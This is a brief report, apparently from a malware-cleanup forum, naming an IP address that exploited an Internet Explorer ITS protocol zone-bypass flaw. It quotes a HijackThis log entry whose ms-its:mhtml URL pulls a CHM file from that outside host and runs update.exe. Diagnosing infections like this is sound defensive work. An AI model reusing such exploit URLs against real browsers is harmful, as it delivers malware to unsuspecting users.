69.50.163.254 seems to have been exploiting the Microsoft Internet Explorer ITS Protocol Zone Bypass Vulnerability, based on the following Hijackthis log entry:
O16 - DPF: {D8A8A7F1-53EF-41F2-B44D-F3E2E595DC27} - ms-its:mhtml:file://C:\MAIN.MHT!http://69.50.163.254/331//main.chm::/update.exe
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